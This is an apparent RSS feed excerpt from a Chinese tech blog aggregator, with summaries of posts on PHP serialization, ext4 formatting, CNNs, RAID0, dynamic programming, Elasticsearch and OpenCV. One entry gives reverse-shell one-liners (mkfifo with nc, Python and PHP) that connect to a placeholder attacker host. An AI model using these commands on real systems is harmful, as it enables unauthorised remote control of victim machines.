      <description>序列化和反序列化的作用 1.序列化：将对象转化成数组或者字符串的形式&#xA;2.反序列化：将数组或字符串的形式转化为对象&#xA;为什么要进行序列化 这种数据形式中间会有很多空格，不同人有不同的书写情况，可能还会出现换行的情况&#xA;为此为了方便数据传输，我们可以进行序列化操作将其变为一个字符串的形式进行传输&#xA;案例分析 我们在写PHP代码的时候会写到类这种数据形式&#xA;&amp;lt;?php class demotest{ public $name=&#39;xiaodi&#39;; public $sex=&#39;man&#39;; public $age=29; public $arr=array(&#39;abc&#39;,123,&#39;demo&#39;); } $dd=new demotest(); echo serialize($dd); 类似于这样，原来的数据中就有很多的空格、换行、缩进等额外的数据，这些数据没有用，而且不同人写代码的习惯不同，这些东西都会有差异，而且不可避免在传输过程中可能会产生错误，为此，绕过将数据进行了序列化，就会将传输的数据以统一的格式进行传输，这样就比较规范而且减少出错的概率。&#xA;因此为了保证数据传递的效率和正确性，我们可以把数据进行序列化后进行传输&#xA;序列化后各字段的含义&#xA;O：表示的是序列化一个对象，8是对象名称的长度，3 表示有3个属性 s表示第一个属性是字符串类型 4 表示的是第一个属性的字符串长度 name是第一个属性的属性名称，以分号结尾，s表示对象的属性为字符串，长度是6，值为xiaodi，后面的以此类堆......对象的属性相关信息都使用 {}括起来，当然对于数组这样复杂的数据结构我们直接进行输出查看格式内容即可&#xA;序列化的内容是什么 序列化只序列化成员变量，不序列化成员函数&#xA;案例分析 &amp;lt;?php class a{ public $username=&#39;xxxxxx&#39;; public $password=&#39;xxxxxx&#39;; public function daying(){ echo &#39;hello&#39;; } public function __destruct(){ echo &#39;over&#39;; } } $aa= new a(); echo serialize($aa); 我们在序列化的时候一个类中可能有属性也会有方法，但是我们在序列化的时候只会序列化一个对象的属性，不会序列化对象的方法。如图，我们定义的类a中有username和password两个属性，也有daying()和__destruct()两个方法，我们可以看到在序列化后a对象中之序列化了两个属性，为此两个方法并没有被序列化，输出的over是因为触发了destruct()方法打印出来的结果，与序列化无关（ps：主要是说明序列化只要是函数都不会被序列化)&#xA;反序列化--将序列化的数据还原成对象 将序列化的数据还原成对象&#xA;反序列化后的对象里面的值是反序列化里面的值决定，与原来的预定义的值无关--通过反序列化我们可以修改原来类中属性的值&#xA;&amp;lt;?php class demotest{ public $a=&#39;hello&#39;; public function demo(){ echo $this-&amp;gt;a; }&#x9;} $dd=new demotest(); echo(serialize($dd)); $ee=&#39;O:8:&#34;</description>
    </item>
    <item>
      <title>linux ext3/ext4文件系统（part1格式化）</title>
      <link>https://bchobby.github.io/posts/93289ecee970e30e4d827a6494f99fc0/</link>
      <pubDate>Thu, 28 Dec 2023 18:06:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/93289ecee970e30e4d827a6494f99fc0/</guid>
      <description> ext4文件系统结构 ext3的代码已经在v4.3被删除掉了（ARM: tegra: Rebuild default configuration on v4.3-rc1 · torvalds/linux@241e077 · GitHub） ext4格式化的代码可以参考e2fsprogs的实现：mke2fs.c&#xA;格式化后的文件系统结构如下图：&#xA;flexible group 如果支持flexible group功能，默认可将16个group打包为一个flexible group。&#xA;每个group 都有四个主要区域：&#xA;block bitmapinode bitmapinode tabledata 其中前三部分是元数据，元数据在 flexible 模式下有两种布局方式：&#xA;一种是全部放在第一个flexible group的第一个group上。另一种是每个flexible group中第一个group上存放这个flexible group 的元数据 当元数据占用达到一个group的四分之三时，会将这个group的全部作为元数据存储，称meta_group。&#xA;如果不启用flexible，则每个group维护自己的元数据（参考：linux 中 ext2文件系统实现）&#xA;group 中块数在256～8*block_size之间，默认8 * block_size（比如一块4096大小的话，一个group有32k个block）。&#xA;元数据备份 ext2支持为0、1、3/5/7的n次方块加入super block 与group desc block的备份 （参考：linux 中 ext2文件系统实现）。ext4将这标记成了deprecated。如果开启备份，则只备份一份，默认备份在最后一个group上。&#xA;block cluster ext4将block打包成了cluster（默认16个block 为一个cluster），在分配块时，以cluster为最小单位去分配。格式化过程中会先在内存中存一个 block bitmap， 以block为最小单位去分配块，在分配完block/inode bitmap和inode table 后，会将bitmap将为以 cluster 为单位，存到磁盘上。&#xA;初始文件 初始文件至少有root 和 lost_and_found目录，其它：&#xA;如果有bad block，会将bad block 的位置以数组形式存到bad block inode上如果启用日志功能，则生成日志文件，它包含了fast commit 日志和普通的日志（fast commit 记录更精练，是一种优化的日志，具体实现还没有看，参考：LWN: ext4 文件系统的快速提交！-CSDN博客）两部分日志的大小的和限制在1k-10m个block之间。如果启用orphan file 功能（删除文件时，先将inode记入orphan file，在inode的data块完全释放后才将inode从orphan file移除，防止系统崩溃后文件删除了，但内容块没有回收的情况），创建orphan file 它的大小在32-512个block之间（总块数除以4k）。 e2fsprogs对ext4格式化的实现 main(): // 1、解析用户参数，有些参数从profile读 PRS(argc, argv)： blocksize：1024~65536之间 block per group：默认8 * block_size块 inodes_count：默认第8192字节对应一个inode meta group：是否指定了完全存元数据的 group num_backups: super + group desc 的备份group号，默认是１号和最后一个group cluster_size：默认16个block // ２、计算参数 ext2fs_initialize(): 计算 s_clusters_per_group 计算 desc_blocks：每个group一个desc 计算 s_inodes_count 默认平均4096byte一个inode 计算 s_inodes_per_group 计算 s_reserved_gdt_blocks：为以后扩展ext4大小预留的group desc，预计filesystem大小可以增长到1024倍 group desc block 大于3/4的group时，启用meta block group，并　s_reserved_gdt_blocks为0 最后一个group要装备份super + group desc block，如是太小，要删掉最后一个group重算上面的参数 在分配内存记录格式化占用的block，此时的block bitmap单位是block，不是cluster 分配其它内存，比如inode bitmap，group desc ３、检测标记坏块，并标记在block bitmap上 ４、分配block bitmap、 inode bitmap、 inode table，有两种模式packed/unpacked（packed_allocate_tables、ext2fs_allocate_tables） ５、将block bitmap 转为以cluster 为单位的bitmap ６、分配inode初始文件 root lost_and_found 标记reserve inode 创建bad block inode 记录哪些块不能用 添加journal inode　占用1k-10m个块之间　添加orphan file 最多32-512个block </description>
    </item>
    <item>
      <title>基于springboot农产品交易商城源码和论文（管理员 商家 用户三种角色</title>
      <link>https://bchobby.github.io/posts/9775f6fa5f62db8a2704e6280d8d97be/</link>
      <pubDate>Thu, 28 Dec 2023 17:53:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9775f6fa5f62db8a2704e6280d8d97be/</guid>
      <description>摘 要&#xA;伴随着互联网技术的进步，各种电商平台也如雨后 春笋不断涌现。一个好的电商平台应该具有用户体验度高，用户信息安全等特点, 从而可以满足更多的用户需求。现有的电商平台虽然在不断完善，但仍然存在着 不少问题。本设计是一个基于SSM框架开发的农产品商城项目，在较好地实现传 统电商平台的基础上又有创新和改善之处，比如分层搭建的设计思想，md5加密 算法的改进以及设计更为友好的操作界面等，以更好地服务大众。&#xA;本农产品商城网站以IDEA+mysql为开发环境，JSP+CSS+JavaScript为页面编辑语言，springboot+mybatis为后台编辑语言来设计开发,开发一个农产品商城正是为了企业独立开发的目的。J2EE体系的农产品商城 具备很高的安全性和稳定性，以及更加出色的可扩展性和跨平台特点。在国外 J2EE 已经成为开发电子商务平台的主流技术，本文研发的农产品商城系统使消费者进行购物时，不但农产品推荐更为符合消费者的消 费习惯，且农产品的质量安全以及用户个人信息能够得到有效保障，提升了消费者的购物体验，本系统主要设计用户选购，加入购物车，下单等功能，当然对应的有一个后台系统管理，主要是对前端即用户端的一个数据的支持管理，只有管理员角色才可以登陆。&#xA;本文基于springboot mybatis框架完整的实现了一个农产品商城系统，可以为用户提供购买农产品、等多个功能。从测试结果来看，系统完整实现了所需功能，而且具有一定的 稳定性和可靠性，并能够为用户提供良好的用户体验。总之，本系统基本符合客户的 需求，并达到了预期的目标。&#xA;【586】基于springboot农产品交易商城源码和论文（管理员 商家 用户三种角色&#xA;关键词：农产品商城 idea mysql springboot&#xA;Abstract With the progress of Internet technology, various e-commerce platforms have sprung up. A good e-commerce platform should have the characteristics of high user experience and user information security, so as to meet more user needs. Although the existing e-commerce platform is constantly improving, there are still many problems.</description>
    </item>
    <item>
      <title>sheng的学习笔记-卷积神经网络</title>
      <link>https://bchobby.github.io/posts/f6a5c52c76b3dd5dee51a77db7c1c6b3/</link>
      <pubDate>Thu, 28 Dec 2023 17:45:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f6a5c52c76b3dd5dee51a77db7c1c6b3/</guid>
      <description>源自吴恩达的深度学习课程，仅用于笔记，便于自行复习&#xA;导论 1）什么是卷积神经网络 卷积神经网络，也就是convolutional neural networks （简称CNN），使用卷积算法的神经网络，常用于计算机视觉等领域&#xA;2）卷积神经网络的一些应用场景 2.1 图片分类，或者说图片识别。比如给出这张64×64的图片，让计算机去分辨出这是一只猫。&#xA;2.2 目标检测，比如在一个无人驾驶项目中，你不一定非得识别出图片中的物体是车辆，但你需要计算出其他车辆的位置，以确保自己能够避开它们。所以在目标检测项目中，首先需要计算出图中有哪些物体，比如汽车，还有图片中的其他东西，再将它们模拟成一个个盒子，或用一些其他的技术识别出它们在图片中的位置。注意在这个例子中，在一张图片中同时有多个车辆，每辆车相对与你来说都有一个确切的距离&#xA;2.3 神经网络实现的图片风格迁移，比如说你有一张图片，但你想将这张图片转换为另外一种风格。所以图片风格迁移，就是你有一张满意的图片和一张风格图片，实际上右边这幅画是毕加索的画作，而你可以利用神经网络将它们融合到一起，描绘出一张新的图片。它的整体轮廓来自于左边，却是右边的风格，最后生成下面这张图片&#xA;3）应用计算机视觉时面临一个挑战 应用计算机视觉时要面临一个挑战，就是数据的输入可能会非常大。举个例子，在过去的课程中，你们一般操作的都是64×64的小图片，实际上，它的数据量是64×64×3，因为每张图片都有3个颜色通道。如果计算一下的话，可得知数据量为12288，所以我们的特征向量维度为12288。这其实还好，因为64×64真的是很小的一张图片。&#xA;如果你要操作更大的图片，比如一张1000×1000的图片，它足有1兆那么大，但是特征向量的维度达到了1000×1000×3，因为有3个RGB通道，所以数字将会是300万。&#xA;如果你要输入300万的数据量，这就意味着，特征向量的维度高达300万。所以在第一隐藏层中，你也许会有1000个隐藏单元，而所有的权值组成了矩阵 。如果你使用了标准的全连接网络，这个矩阵的大小将会是1000×300万。因为现在的维度为，通常用来表示300万。这意味着矩阵会有30亿个参数。在参数如此大量的情况下，会有这些问题：神经网络的过拟合，耗费高内存，计算时间长&#xA;卷积算法 卷积运算是卷积神经网络最基本的组成部分，使用边缘检测作为入门样例&#xA;1）边缘检测示例（Edge detection example） 给了这样一张图片，让电脑去搞清楚这张照片里有什么物体，你可能做的第一件事是检测图片中的垂直边缘。比如说，在这张图片中的栏杆就对应垂直线，与此同时，这些行人的轮廓线某种程度上也是垂线，这些线是垂直边缘检测器的输出。同样，你可能也想检测水平边缘，比如说这些栏杆就是很明显的水平线，它们也能被检测到，结果在这。所以如何在图像中检测这些边缘？&#xA;这是一个6×6的灰度图像。因为是灰度图像，所以它是6×6×1的矩阵，而不是6×6×3的，因为没有RGB三通道。为了检测图像中的垂直边缘，你可以构造一个3×3矩阵。在共用习惯中，在卷积神经网络的术语中，它被称为过滤器。我要构造一个3×3的过滤器，下面的filter。注意，下面的*是卷积的符号&#xA;这个卷积运算的输出将会是一个4×4的矩阵，你可以将它看成一个4×4的图像。下面来说明是如何计算得到这个4×4矩阵的。为了计算第一个元素，在4×4左上角的那个元素，使用3×3的过滤器，将其覆盖在输入图像，如下图所示。然后进行元素乘法（element-wise products）运算，然后将该矩阵每个元素相加得到最左上角的元素，即&#xA;把这9个数加起来得到-5，当然，你可以把这9个数按任何顺序相加，我只是先写了第一列，然后第二列，第三列。&#xA;接下来，为了弄明白第二个元素是什么，你要把蓝色的方块，向右移动一步，像这样，把这些绿色的标记去掉：&#xA;为了说得更清楚一点，这个-16是通过底部右下角的3×3区域得到的。&#xA;因此6×6矩阵和3×3矩阵进行卷积运算得到4×4矩阵。这些图片和过滤器是不同维度的矩阵，但左边矩阵容易被理解为一张图片，中间的这个被理解为过滤器，右边的图片我们可以理解为另一张图片。这个就是垂直边缘检测器，下一页中你就会明白。&#xA;在往下讲之前，多说一句，如果你要使用编程语言实现这个运算，不同的编程语言有不同的函数，而不是用“”来表示卷积。所以在编程练习中，你会使用一个叫conv_forward的函数。如果在tensorflow下，这个函数叫tf.conv2d。在其他深度学习框架中，在后面的课程中，你将会看到Keras这个框架，在这个框架下用Conv2D实现卷积运算。所有的编程框架都有一些函数来实现卷积运算。&#xA;为什么这个可以做垂直边缘检测呢？让我们来看另外一个例子。为了讲清楚，我会用一个简单的例子。这是一个简单的6×6图像，左边的一半是10，右边一般是0。如果你把它当成一个图片，左边那部分看起来是白色的，像素值10是比较亮的像素值，右边像素值比较暗，我使用灰色来表示0，尽管它也可以被画成黑的。图片里，有一个特别明显的垂直边缘在图像中间，这条垂直线是从黑到白的过渡线，或者从白色到深色。&#xA;如果把最右边的矩阵当成图像，它是这个样子。在中间有段亮一点的区域，对应检查到这个6×6图像中间的垂直边缘。&#xA;2)更多边缘检测内容（More edge detection） 它的颜色被翻转了，变成了左边比较暗，而右边比较亮。现在亮度为10的点跑到了右边，为0的点则跑到了左边。如果你用它与相同的过滤器进行卷积，最后得到的图中间会是-30，而不是30。如果你将矩阵转换为图片，就会是该矩阵下面图片的样子。现在中间的过渡部分被翻转了，之前的30翻转成了-30，表明是由暗向亮过渡，而不是由亮向暗过渡。&#xA;如果你不在乎这两者的区别，你可以取出矩阵的绝对值。但这个特定的过滤器确实可以为我们区分这两种明暗变化的区别。&#xA;再来看看更多的边缘检测的例子，我们已经见过这个3×3的过滤器，它可以检测出垂直的边缘。所以，看到右边这个过滤器，我想你应该猜出来了，它能让你检测出水平的边缘。提醒一下，一个垂直边缘过滤器是一个3×3的区域，它的左边相对较亮，而右边相对较暗。相似的，右边这个水平边缘过滤器也是一个3×3的区域，它的上边相对较亮，而下方相对较暗。&#xA;再次强调，我们现在所使用的都是相对很小的图片，仅有6×6。但这些中间的数值，比如说这个10（右边矩阵中黄色方框标记元素）代表的是左边这块区域（左边6×6矩阵中黄色方框标记的部分）。这块区域左边两列是正边，右边一列是负边，正边和负边的值加在一起得到了一个中间值。但假如这个一个非常大的1000×1000的类似这样棋盘风格的大图，就不会出现这些亮度为10的过渡带了，因为图片尺寸很大，这些中间值就会变得非常小。&#xA;总而言之，通过使用不同的过滤器，你可以找出垂直的或是水平的边缘。但事实上，对于这个3×3的过滤器来说，我们使用了其中的一种数字组合。&#xA;随着深度学习的发展，我们学习的其中一件事就是当你真正想去检测出复杂图像的边缘，你不一定要去使用那些研究者们所选择的这九个数字，但你可以从中获益匪浅。把这矩阵中的9个数字当成9个参数，并且在之后你可以学习使用反向传播算法，其目标就是去理解这9个参数。&#xA;Padding 为了解决这两个问题，一是输出缩小。当我们建立深度神经网络时，你就会知道你为什么不希望每进行一步操作图像都会缩小。比如当你有100层深层的网络，如果图像每经过一层都缩小的话，经过100层网络后，你就会得到一个很小的图像，所以这是个问题。另一个问题是图像边缘的大部分信息都丢失了。&#xA;valid and same padding 卷积步长（Strided convolutions） 卷积中的步幅是另一个构建卷积神经网络的基本操作，让我向你展示一个例子。&#xA;如果你想用3×3的过滤器卷积这个7×7的图像，和之前不同的是，我们把步幅设置成了2。你还和之前一样取左上方的3×3区域的元素的乘积，再加起来，最后结果为91。&#xA;现在我们继续，将蓝色框移动两个步长，你将会得到83的结果。当你移动到下一行的时候，你也是使用步长2而不是步长1，所以我们将蓝色框移动到这里：&#xA;注意到我们跳过了一个位置，得到69的结果，现在你继续移动两个步长，会得到91，127，最后一行分别是44，72，74。&#xA;输出维度计算公式 三维卷积（Convolutions over volumes） 你已经知道如何对二维图像做卷积了，现在看看如何执行卷积不仅仅在二维图像上，而是三维立体上。&#xA;我们从一个例子开始，假如说你不仅想检测灰度图像的特征，也想检测RGB彩色图像的特征。彩色图像如果是6×6×3，这里的3指的是三个颜色通道，你可以把它想象成三个6×6图像的堆叠。为了检测图像的边缘或者其他的特征，不是把它跟原来的3×3的过滤器做卷积，而是跟一个三维的过滤器，它的维度是3×3×3，这样这个过滤器也有三层，对应红绿、蓝三个通道。&#xA;给这些起个名字（原图像），这里的第一个6代表图像高度，第二个6代表宽度，这个3代表通道的数目。同样你的过滤器也有一个高，宽和通道数，并且图像的通道数必须和过滤器的通道数匹配，所以这两个数（紫色方框标记的两个数）必须相等。下个幻灯片里，我们就会知道这个卷积操作是如何进行的了，这个的输出会是一个4×4的图像，注意是4×4×1，最后一个数不是3了。&#xA;首先先换一张好看的图片。这个是6×6×3的图像，这个是3×3×3的过滤器，最后一个数字通道数必须和过滤器中的通道数相匹配。为了简化这个3×3×3过滤器的图像，我们不把它画成3个矩阵的堆叠，而画成这样，一个三维的立方体。&#xA;为了计算这个卷积操作的输出，你要做的就是把这个3×3×3的过滤器先放到最左上角的位置，这个3×3×3的过滤器有27个数，27个参数就是3的立方。依次取这27个数，然后乘以相应的红绿蓝通道中的数字。先取红色通道的前9个数字，然后是绿色通道，然后再是蓝色通道，乘以左边黄色立方体覆盖的对应的27个数，然后把这些数都加起来，就得到了输出的第一个数字。&#xA;如果要计算下一个输出，你把这个立方体滑动一个单位，再与这27个数相乘，把它们都加起来，就得到了下一个输出，以此类推。&#xA;这是我们上一张幻灯片的图片，我们让这个6×6×3的图像和这个3×3×3的过滤器卷积，得到4×4的输出。（第一个）这可能是一个垂直边界检测器或者是学习检测其他的特征。第二个过滤器可以用橘色来表示，它可以是一个水平边缘检测器。&#xA;所以和第一个过滤器卷积，可以得到第一个4×4的输出，然后卷积第二个过滤器，得到一个不同的4×4的输出。我们做完卷积，然后把这两个4×4的输出，取第一个把它放到前面，然后取第二个过滤器输出，我把它画在这，放到后面。所以把这两个输出堆叠在一起，这样你就都得到了一个4×4×2的输出立方体，你可以把这个立方体当成，重新画在这，就是一个这样的盒子，所以这就是一个4×4×2的输出立方体。它用6×6×3的图像，然后卷积上这两个不同的3×3的过滤器，得到两个4×4的输出，它们堆叠在一起，形成一个4×4×2的立方体，这里的2的来源于我们用了两个不同的过滤器。&#xA;单层卷积网络（One layer of a convolutional network） 最终各自形成一个卷积神经网络层，然后增加偏差，它是一个实数，通过Python的广播机制给这16个元素都加上同一偏差。然后应用非线性函数，为了说明，它是一个非线性激活函数ReLU，输出结果是一个4×4矩阵。</description>
    </item>
    <item>
      <title>存储：双磁盘RAID0磁盘阵列搭建</title>
      <link>https://bchobby.github.io/posts/283ae8d8743f2bf885e4fddce1fbd2ee/</link>
      <pubDate>Thu, 28 Dec 2023 17:43:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/283ae8d8743f2bf885e4fddce1fbd2ee/</guid>
      <description>磁盘介绍 固态磁盘分为SATA口和PCIE口，SATA单盘实测最高550MB/s， PCIE 4.0单盘写入实测最高2.2GB/s。以上均为缓内速度。&#xA;SATA口和PCIE口速度对比&#xA;准备工作 准备同型号的两个固态磁盘（不同型号的磁盘组raid会以较低的速度和空间的raid为主）&#xA;方式一：BIOS设置 旧版BIOS界面 1. 设置VMD Controller为 Enabled&#xA;Chipset → System Agent (SA) Configuration → Enable VMD controller →&#xA;Enabled → Save Changes and Reset.（设置完毕后保存并退出，重新再进BIOS）&#xA;2. 创建RAID Volume （RAID磁盘卷）&#xA;再次进入BIOS后按照下列路径操作去创建RAID卷&#xA;Advanced → Intel® Rapid Storage Technology&#xA;点击回车选择 Create RAID Volume&#xA;Select Disks下面列出的就是当前电脑上所有的磁盘，注意分辨磁盘都是用来做什么的，一般我们系统盘都是一个独立的磁盘，不用来做RAID。另外有两张独立的SSD（固态）去组RAID。&#xA;Name可以给新加的RAID盘命名，一般默认就好。RAID Level是设置磁盘阵列的组合方式，两个磁盘的话合一组RAID0或者RAID1。选择需要的即可，没有选择的话先勾选下面的磁盘，勾选完毕后再回来选择组合方式。&#xA;未勾选的磁盘为[ ]样子。勾选中要组阵列的磁盘样子为[X]。下图中两个SATA磁盘就是被选中组合为RAID1。&#xA;最后点击Create Volume即可。 创建完完毕后保存并退出。&#xA;新版BIOS图形界面设置BIOS 联想的部分电脑开机不断点击 F1 后会进入下面的图形界面。&#xA;该图形界面设置BIOS首先点击 设备-》Intel®快速存储技术。&#xA;进入后如果有磁盘的话可以选择Create RAID Volume去创建一个新的RAID卷。创建时需要指定想要那些磁盘创建RAID。指定完毕后点击保存并退出即可。下图为已经创建过的RAID0磁盘阵列卷。&#xA;点开已经创建好的阵列磁盘可以看到详细信息，阵列大小为3.6TB，为两个1.8TB的三星990Pro组合而成。点击Reset to non-RAID可取消磁盘阵列。&#xA;方式二：WIndows系统磁盘管理工具设置 右键此电脑-》管理-》存储-》磁盘管理或者使用快捷键Win+X-》磁盘管理 进入磁盘管理工具界面。</description>
    </item>
    <item>
      <title>【八】【C语言\动态规划】1567. 乘积为正数的最长子数组长度、413. 等差数列划分、978. 最长湍流子数组，三道题目深度解析</title>
      <link>https://bchobby.github.io/posts/892366500b6e98dc19c2f367aa72ae58/</link>
      <pubDate>Thu, 28 Dec 2023 17:28:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/892366500b6e98dc19c2f367aa72ae58/</guid>
      <description>动态规划 动态规划就像是解决问题的一种策略，它可以帮助我们更高效地找到问题的解决方案。这个策略的核心思想就是将问题分解为一系列的小问题，并将每个小问题的解保存起来。这样，当我们需要解决原始问题的时候，我们就可以直接利用已经计算好的小问题的解，而不需要重复计算。&#xA;动态规划与数学归纳法思想上十分相似。&#xA;数学归纳法：&#xA;基础步骤（base case）：首先证明命题在最小的基础情况下成立。通常这是一个较简单的情况，可以直接验证命题是否成立。&#xA;归纳步骤（inductive step）：假设命题在某个情况下成立，然后证明在下一个情况下也成立。这个证明可以通过推理推断出结论或使用一些已知的规律来得到。&#xA;通过反复迭代归纳步骤，我们可以推导出命题在所有情况下成立的结论。&#xA;动态规划：&#xA;状态表示：&#xA;状态转移方程：&#xA;初始化：&#xA;填表顺序：&#xA;返回值：&#xA;数学归纳法的基础步骤相当于动态规划中初始化步骤。&#xA;数学归纳法的归纳步骤相当于动态规划中推导状态转移方程。&#xA;动态规划的思想和数学归纳法思想类似。&#xA;在动态规划中，首先得到状态在最小的基础情况下的值，然后通过状态转移方程，得到下一个状态的值，反复迭代，最终得到我们期望的状态下的值。&#xA;接下来我们通过三道例题，深入理解动态规划思想，以及实现动态规划的具体步骤。&#xA;1567. 乘积为正数的最长子数组长度 题目解析 状态表示 状态表示一般通过经验+题目得到。&#xA;经验一般指以某个位置为结尾或者以某个位置为开始。&#xA;我们很容易可以定义这样一个dp状态表示，dp[i]表示以下标i为结尾的所有子数组中，乘积为正数的最长子数组长度。&#xA;我们可以尝试推导一下该状态表示的状态转移方程。&#xA;dp[i]表示以下标i为结尾的所有子数组中，乘积为正数的最长子数组长度。&#xA;我们关注所有以下标i为结尾的子数组，可以分为两种情况，第一种情况是子数组只有下标i一个元素，第二种情况是子数组不止下标i一个元素。&#xA;第一种情况，如果nums[i]&amp;gt;0，dp[i]=1,否则dp[i]=0。&#xA;第二种情况，我们可以将i下标元素单独分开，看成两部分。&#xA;如果nums[i]&amp;gt;0，dp[i]=dp[i-1]+1。&#xA;如果nums[i]=0，dp[i]=0。&#xA;如果nums[i]&amp;lt;0，dp[i]=（在第一部分所有子数组中，乘积为负数的最长子数组长度）+1。&#xA;我们发现还需要一个状态才能填写dp状态。所以我们应该添加一个状态，表示以下标i为结尾的所有子数组中，乘积为负数的最长子数组长度。&#xA;因此我们可以重新定义状态表示，&#xA;f[i]表示以下标i为结尾的所有子数组中，乘积为正数的最长子数组长度。&#xA;g[i]表示以下标i为结尾的所有子数组中，乘积为负数的最长子数组长度。&#xA;状态转移方程 根据上面的分析，可以分一下这些情况&#xA;如果只考虑i一个元素，&#xA;nums[i]&amp;gt;0时，f[i]=1,g[i]=0&#xA;nums[i]&amp;lt;0时，f[i]=0,g[i]=1&#xA;nums[i]=0时，f[i]=0,g[i]=0&#xA;如果不止考虑i一个元素，&#xA;nums[i]&amp;gt;0时，考虑两种情况&#xA;第一种情况，f[i-1]=0，此时f[i]=0，因为我们考虑不止一个元素，所以最少是两个元素，子数组乘积一定是零，所以长度为0。 g[i-1]=0，此时g[i]=0，同理。&#xA;第二种情况，f[i-1]!=0,此时f[i]=f[i-1]+1,g[i]=g[i-1]+1。第一部分乘积为正数的最长子数组，后面添加nums[i]这个元素，乘积是正数乘以正数，是正数，所以f[i]=f[i-1]+1。 第一部分乘积为负数的最长子数组，后面添加nums[i]这个元素，乘积是负数乘以正数，是负数，所以g[i]=g[i-1]+1。&#xA;nums[i]&amp;lt;0时，同样考虑两种情况&#xA;第一种情况，f[i-1]=0，此时f[i]=0，因为我们考虑不止一个元素，所以最少是两个元素，子数组乘积一定是零，所以长度为0。 g[i-1]=0，此时g[i]=0，同理。&#xA;第二种情况，f[i-1]!=0,此时f[i]=g[i-1]+1,g[i]=f[i-1]+1。第一部分乘积为负数的最长子数组，后面添加nums[i]这个元素，乘积是负数乘以负数，是正数，所以f[i]=g[i-1]+1。 第一部分乘积为正数的最长子数组，后面添加nums[i]这个元素，乘积是正数乘以负数，是负数，所以g[i]=f[i-1]+1。&#xA;nums[i]=0时，f[i]=0,g[i]=0&#xA;我们可以整理一下上述情况，看看哪些情况是可以合并在一起的。&#xA;f[i]=max(如果只考虑i一个元素，如果不止考虑i一个元素)&#xA;g[i]=max(如果只考虑i一个元素，如果不止考虑i一个元素)&#xA;最终我们可以合并成这样，&#xA;if(nums[i]==0) f[i]=g[i]=0; else if(nums[i]&amp;gt;0){ f[i]=f[i-1]+1; g[i]=g[i-1]==0?0:g[i-1]+1; }else{ f[i]=g[i-1]==0?0:g[i-1]+1; g[i]=f[i-1]+1; } 上述即状态转移方程。</description>
    </item>
    <item>
      <title>nc不支持-e时的反弹</title>
      <link>https://bchobby.github.io/posts/de3b459bf72a96043a5a877df2d774c8/</link>
      <pubDate>Thu, 28 Dec 2023 17:28:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/de3b459bf72a96043a5a877df2d774c8/</guid>
      <description> 如果你想要使用nc反弹shell，但是不能使用-e选项，你可以尝试以下的替代方法：&#xA;使用mkfifo或mknod命令创建一个命名管道，然后使用cat命令读取管道中的内容，并将其传递给/bin/sh执行，再将输出重定向到nc连接。 例如： mkfifo /tmp/f cat /tmp/f | /bin/sh -i 2&amp;gt;&amp;amp;1 | nc attackerip listenport &amp;gt; /tmp/f 使用python或php脚本来执行系统命令，并将标准输入、输出、错误重定向到socket连接。例如： python -c &#39;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&#34;attackerip&#34;,listenport));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([&#34;/bin/sh&#34;,&#34;-i&#34;]);&#39; php -r &#39;$sock=fsockopen(&#34;attackerip&#34;,listenport);exec(&#34;/bin/sh -i &amp;lt;&amp;amp;3 &amp;gt;&amp;amp;3 2&amp;gt;&amp;amp;3&#34;);&#39; </description>
    </item>
    <item>
      <title>Elasticsearch： Join 数据类型</title>
      <link>https://bchobby.github.io/posts/641cd95809942f52502d2461851e2aa3/</link>
      <pubDate>Thu, 28 Dec 2023 17:18:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/641cd95809942f52502d2461851e2aa3/</guid>
      <description>在 Elasticsearch 中，Join 可以让我们创建 parent/child 关系。Elasticsearch 不是一个 RDMS。通常 join 数据类型尽量不要使用，除非不得已。那么 Elasticsearch 为什么需要 Join 数据类型呢？ 在 Elasticsearch 中，更新一个 object 需要 root object 一个完整的 reindex：&#xA;即使是一个 field 的一个字符的改变即便是 nested object 也需要完整的 reindex 才可以实现搜索 通常情况下，这是完全 OK 的，但是在有些场合下，如果我们有频繁的更新操作，这样可能对性能带来很大的影响。&#xA;如果你的数据需要频繁的更新，并带来性能上的影响，这个时候，join 数据类型可能是你的一个解决方案。&#xA;join 数据类型可以完全地把两个 object 分开，但是还是保持这两者之前的关系。&#xA;parent 及 child 是完全分开的两个文档parent 可以单独更新而不需要重新 reindex childchildren 可以任意被添加/串改/删除而不影响 parent 及其它的 children 与 nested 类型类似，父子关系也允许你将不同的实体关联在一起，但它们在实现和行为上有所不同。 与 nested 文档不同，它们不在同一文档中，而 parent/child 文档是完全独立的文档。 它们遵循一对多关系原则，允许你将一种类型定义为 parent 类型，将一种或多种类型定义为 child 类型&#xA;即便 join 数据类型给我们带来了方便，但是，它也在搜索时给我带来额外的内存及计算的开销。&#xA;注意：目前 Kibana 对 nested 及 join 数据类型有比较少的支持。如果你想使用 Kibana 来在 dashboard 里展示数据，这个方面的你需要考虑。在未来，这种情况可能会发生改变。</description>
    </item>
    <item>
      <title>Qt&#43;Opencv：模板匹配</title>
      <link>https://bchobby.github.io/posts/09412f9055cf97a5c3591ee693c1e9f1/</link>
      <pubDate>Thu, 28 Dec 2023 17:10:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/09412f9055cf97a5c3591ee693c1e9f1/</guid>
      <description>一、模板匹配应用场景闲聊 在很多机器视觉的应用场景都有用到模板匹配的功能，常常用来判断是否有目标检测对象，以及检测对象在图像中的位置。譬如在AOI检测软件中，通过拍摄Mark点的图像，进行mark模板的匹配，从而进行晶圆（以下统称 wafer）的角度校正和中心位置计算，通过一系列的坐标转换后，用于晶圆的检测和量测。&#xA;本例只是一个简单的模板匹配示例，仅供学习和知识普及用。&#xA;譬如，我们有下面一个模板，&#xA;我需要在实际拍摄的图像中获取对象的坐标信息。如下图：&#xA;二、模板匹配代码示例 #ifndef TEMPLATEMATCHDEMO_H #define TEMPLATEMATCHDEMO_H class TemplateMatchDemo { public: TemplateMatchDemo(); static int run(); }; #endif // TEMPLATEMATCHDEMO_H #include &#34;templatematchdemo.h&#34; #include &#34;opencv2/highgui/highgui.hpp&#34; #include &#34;opencv2/imgproc/imgproc.hpp&#34; #include 